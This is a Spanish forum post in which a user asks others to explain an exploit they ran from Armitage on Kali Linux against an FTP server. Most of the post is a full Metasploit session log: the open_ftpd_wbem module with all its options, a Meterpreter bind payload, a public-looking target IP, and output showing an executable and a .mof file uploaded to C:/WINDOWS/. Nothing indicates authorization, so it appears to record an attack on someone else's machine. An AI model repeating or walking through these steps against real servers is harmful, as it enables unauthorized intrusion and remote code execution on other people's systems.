Explicacion de un exploit.

Buenas.. Ayer desde Armitage corriendo el sistema operativo de Kali linux, ejecute un Exploit para un servidor que corría el servicio de FTP, el tema es que sinceramente no entiendo el funcionamiento del mismo. Espero que alguien me pueda explicar. GRACIAS!

msf > use exploit/windows/ftp/open_ftpd_wbem
msf exploit(open_ftpd_wbem) > set SSLVersion SSL3
SSLVersion => SSL3
msf exploit(open_ftpd_wbem) > set LHOST 192.168.0.11
LHOST => 192.168.0.11
msf exploit(open_ftpd_wbem) > set RPORT 21
RPORT => 21
msf exploit(open_ftpd_wbem) > set LPORT 15498
LPORT => 15498
msf exploit(open_ftpd_wbem) > set SSL 0
SSL => 0
msf exploit(open_ftpd_wbem) > set SRVPORT 8080
SRVPORT => 8080
msf exploit(open_ftpd_wbem) > set RHOST (IP DEL SERVIDOR)
RHOST => 190.183.59.228
msf exploit(open_ftpd_wbem) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(open_ftpd_wbem) > set TARGET 0
TARGET => 0
msf exploit(open_ftpd_wbem) > set SRVHOST 0.0.0.0
SRVHOST => 0.0.0.0
msf exploit(open_ftpd_wbem) > set PATH C:/WINDOWS/
PATH => C:/WINDOWS/
msf exploit(open_ftpd_wbem) > exploit -j
Exploit running as background job.
Started bind handler
Server started.
(IPSERVIDOR):21 - Trying to upload ctBqvLiiKaTFnm.exe
(IPSERVIDOR):21 - Set binary mode
(IPSERVIDOR)21 - Set active mode "192,168,0,11,31,144"
(IPSERVIDOR):21 - Upload successful
(IPSERVIDOR):21 - Trying to upload dwEoqTj.mof
(IPSERVIDOR):21 - Set binary mode
(IPSERVIDOR):21 - Set active mode "192,168,0,11,31,144"
(IPSERVIDOR):21 - Upload successful[/b][/i]